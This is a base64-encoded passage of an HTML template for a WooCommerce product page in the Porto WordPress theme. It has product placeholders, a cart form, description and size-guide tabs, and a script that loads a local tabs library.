lciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC42NTA5ODAzOTIxNTY4NiAwLjQwMzkyMTU2ODYyNzQ1Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNDQ3MDU4ODIzNTI5NDEgMC40Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ibHVlLW9yYW5nZSI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjA5ODAzOTIxNTY4NjI3NSAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNjYyNzQ1MDk4MDM5MjIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuODQ3MDU4ODIzNTI5NDEgMC40MTk2MDc4NDMxMzcyNSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8ZGl2IGNsYXNzPSJwYWdlLXdyYXBwZXIgc2lkZS1uYXYiPjwhLS0gcGFnZSB3cmFwcGVyIC0tPg0KDQogICAgPCEtLSBoZWFkZXIgd3JhcHBlciAtLT4NCiAgICA8ZGl2IGNsYXNzPSJoZWFkZXItd3JhcHBlciBoZWFkZXItc2lkZS1uYXYgc2lkZS1uYXYtd3JhcCI+DQogICAgICAgIDxoZWFkZXIgaWQ9ImhlYWRlciIgY2xhc3M9ImhlYWRlci1zaWRlIHN0aWNreS1tZW51LWhlYWRlciIgZGF0YS1wbHVnaW4tc3RpY2t5DQogICAgICAgICAgICAgICAgZGF0YS1wbHVnaW4tb3B0aW9ucz0ieyZxdW90O2F1dG9Jbml0JnF1b3Q7OiB0cnVlLCAmcXVvdDttaW5XaWR0aCZxdW90OzogOTkyLCAmcXVvdDtjb250YWluZXJTZWxlY3RvciZxdW90OzogJnF1b3Q7LnBhZ2Utd3JhcHBlciZxdW90OywmcXVvdDthdXRvRml0JnF1b3Q7OnRydWUsICZxdW90O3BhZGRpbmdPZmZzZXRCb3R0b20mcXVvdDs6IDAsICZxdW90O3BhZGRpbmdPZmZzZXRUb3AmcXVvdDs6IDB9Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlci1tYWluIHNob3ctbWluaWNhcnQiPg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJzaWRlYmFyLW1lbnUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7cHJvZHVjdF9jYXRlZ29yeX19DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im1vYmlsZS10b2dnbGUiIGFyaWEtbGFiZWw9Ik1vYmlsZSBNZW51IiBocmVmPSIjIj48aSBjbGFzcz0iZmFzIGZhLWJhcnMiPjwvaT48L2E+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQteGwtbm9uZSBkLWxnLW5vbmUgaW5saW5lLWJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtaW5pLWNhcnQiIGNsYXNzPSJtaW5pLWNhcnQgc2ltcGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1oZWFkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjYXJ0LWljb24iPjxpIGNsYXNzPSJtaW5pY2FydC1pY29uIHBvcnRvLWljb24tc2hvcHBpbmctY2FydCI+PC9pPjxzcGFuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zIj4wPC9zcGFuPjwvc3Bhbj48c3Bhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zLXRleHQiPjAgaXRlbXM8L3NwYW4+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtcG9wdXAgd2lkZ2V0X3Nob3BwaW5nX2NhcnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2lkZ2V0X3Nob3BwaW5nX2NhcnRfY29udGVudCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1sb2FkaW5nIj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9oZWFkZXI+DQoNCiAgICA8L2Rpdj4NCiAgICA8IS0tIGVuZCBoZWFkZXIgd3JhcHBlciAtLT4NCg0KICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcHBlciI+DQoNCiAgICAgICAgPHNlY3Rpb24gY2xhc3M9InBhZ2UtdG9wIHBhZ2UtaGVhZGVyLTYiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGhpZGUtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgIHt7ZGV0YWlsX2JyZWFkY3J1bWJ9fQ0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvc2VjdGlvbj4NCg0KICAgICAgICA8ZGl2IGlkPSJtYWluIiBjbGFzcz0iY29sdW1uMSBib3hlZCI+PCEtLSBtYWluIC0tPg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBtYWluLWNvbnRlbnQtd3JhcCI+DQoNCiAgICAgICAgICAgICAgICAgICAgPCEtLSBtYWluIGNvbnRlbnQgLS0+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCBjb2wtbGctMTIiPg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSJjb250ZW50LWFyZWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtYWluIGlkPSJjb250ZW50IiBjbGFzcz0ic2l0ZS1tYWluIj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Indvb2NvbW1lcmNlLW5vdGljZXMtd3JhcHBlciI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByb2R1Y3QtaXRlbSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0icHJvZHVjdCB0eXBlLXByb2R1Y3QgcG9zdC1pdGVtIHN0YXR1cy1wdWJsaXNoIGZpcnN0IGluc3RvY2sgaGFzLXBvc3QtdGh1bWJuYWlsIHNhbGUgc2hpcHBpbmctdGF4YWJsZSBwdXJjaGFzYWJsZSBwcm9kdWN0LXR5cGUtc2ltcGxlIHByb2R1Y3QtbGF5b3V0LWRlZmF1bHQiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LXN1bW1hcnktd3JhcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VtbWFyeS1iZWZvcmUgY29sLW1kLTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGFiZWxzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJvbnNhbGUiPi00MCU8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9pbWFnZXN9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdW1tYXJ5IGVudHJ5LXN1bW1hcnkgY29sLW1kLTciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF90aXRsZX19DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2RldGFpbF9wcm9kdWN0X3ByaWNlfX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3RfbWV0YSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9tZXRhfX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJjYXJ0IiBhY3Rpb249Ii8iIG1ldGhvZD0icG9zdCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icXVhbnRpdHkgYnV0dG9uc19hZGRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiB2YWx1ZT0iLSIgY2xhc3M9Im1pbnVzIj4tPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU9Im51bWJlciINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZD0icXVhbnRpdHlfNjY0ZWUxODcwZGVlYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iaW5wdXQtdGV4dCBxdHkgdGV4dCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGVwPSIxIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1pbj0iMSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXg9IjQ4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU9InF1YW50aXR5Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlPSIxIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJRdHkiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6ZT0iNCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj0iIiBpbnB1dG1vZGU9Im51bWVyaWMiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIHZhbHVlPSIrIiBjbGFzcz0icGx1cyI+KzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImFkZC10by1jYXJ0IiBjbGFzcz0ic2luZ2xlX2FkZF90b19jYXJ0X2J1dHRvbiBidXR0b24gYWx0IGFkZF90b19jYXJ0X21heCBwb3J0by1hZGQtdG8tY2FydCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZCB0byBjYXJ0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvY2FydCIgdGFiaW5kZXg9IjEiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9IndjLWFjdGlvbi1idG4gdmlldy1jYXJ0LWJ0biBidXR0b24gd2MtZm9yd2FyZCI+Vmlldw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXJ0PC9hPjwvZm9ybT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PjwhLS0gLnN1bW1hcnkgLS0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3b29jb21tZXJjZS10YWJzIHdvb2NvbW1lcmNlLXRhYnMtbWMyc2NxNnkgcmVzcC1odGFicyIgaWQ9InByb2R1Y3QtdGFiIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9InJlc3AtdGFicy1saXN0IiByb2xlPSJ0YWJsaXN0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJkZXNjcmlwdGlvbl90YWIiIGlkPSJ0YWItdGl0bGUtZGVzY3JpcHRpb24iIHJvbGU9InRhYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWEtY29udHJvbHM9InRhYi1kZXNjcmlwdGlvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEZXNjcmlwdGlvbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imdsb2JhbF90YWJfdGFiIiBpZD0idGFiLXRpdGxlLWdsb2JhbF90YWIiIHJvbGU9InRhYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWEtY29udHJvbHM9InRhYi1nbG9iYWxfdGFiIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpemUgR3VpZGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVzcC10YWJzLWNvbnRhaW5lciI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFiLWNvbnRlbnQiIGlkPSJ0YWItZGVzY3JpcHRpb24iPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDI+RGVzY3JpcHRpb248L2gyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9kZXNjcmlwdGlvbn19DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFiLWNvbnRlbnQiIGlkPSJ0YWItZ2xvYmFsX3RhYiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3J0by1ibG9jayIgZGF0YS1pZD0iNTI3Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3R5bGU+LnNpemVzLXRhYmxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzIxMjkzYzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGhlYWQgdGggew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjRmNGYyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5zaXplcy10YWJsZSB0Ym9keSB0cjpudGgtY2hpbGQoMm4pID4gKiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlYmViZWI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNpemVzLXRhYmxlIHRoZWFkIHRoIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMzBweCAwIDMwcHggMTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGJvZHkgdGQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDAgMTJweCAxMHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogNTc2cHgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNpemVzLXRhYmxlIHRoZWFkIHRoOmZpcnN0LWNoaWxkLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGJvZHkgdGggew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAzMHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTwvc3R5bGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBwb3J0b19pbml0X2Rlc2NfdGFiID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbiAoJCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgJHRhYnMgPSAkKCcud29vY29tbWVyY2UtdGFicy1tYzJzY3E2eScpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGluaXRfdGFicygkdGFicykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMuZWFzeVJlc3BvbnNpdmVUYWJzKHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnZGVmYXVsdCcsIC8vVHlwZXM6IGRlZmF1bHQsIHZlcnRpY2FsLCBhY2NvcmRpb24NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogJ2F1dG8nLCAvL2F1dG8gb3IgYW55IHdpZHRoIGxpa2UgNjAwcHgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaXQ6IHRydWUsICAgLy8gMTAwJSBmaXQgaW4gYSBjb250YWluZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY3RpdmF0ZTogZnVuY3Rpb24gKGV2ZW50KSB7IC8vIENhbGxiYWNrIGZ1bmN0aW9uIGlmIHRhYiBpcyBzd2l0Y2hlZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkLmZuLmVhc3lSZXNwb25zaXZlVGFicykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGpzX3NyYyA9ICIvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9lYXN5LXJlc3BvbnNpdmUtdGFicy5taW4uanMiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkKCdzY3JpcHRbc3JjPSInICsganNfc3JjICsgJyJdJykubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGpzID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJChqcykuYXBwZW5kVG8oJ2JvZHknKS5vbignbG9hZCcsIGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5pdF90YWJzKCR0YWJzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI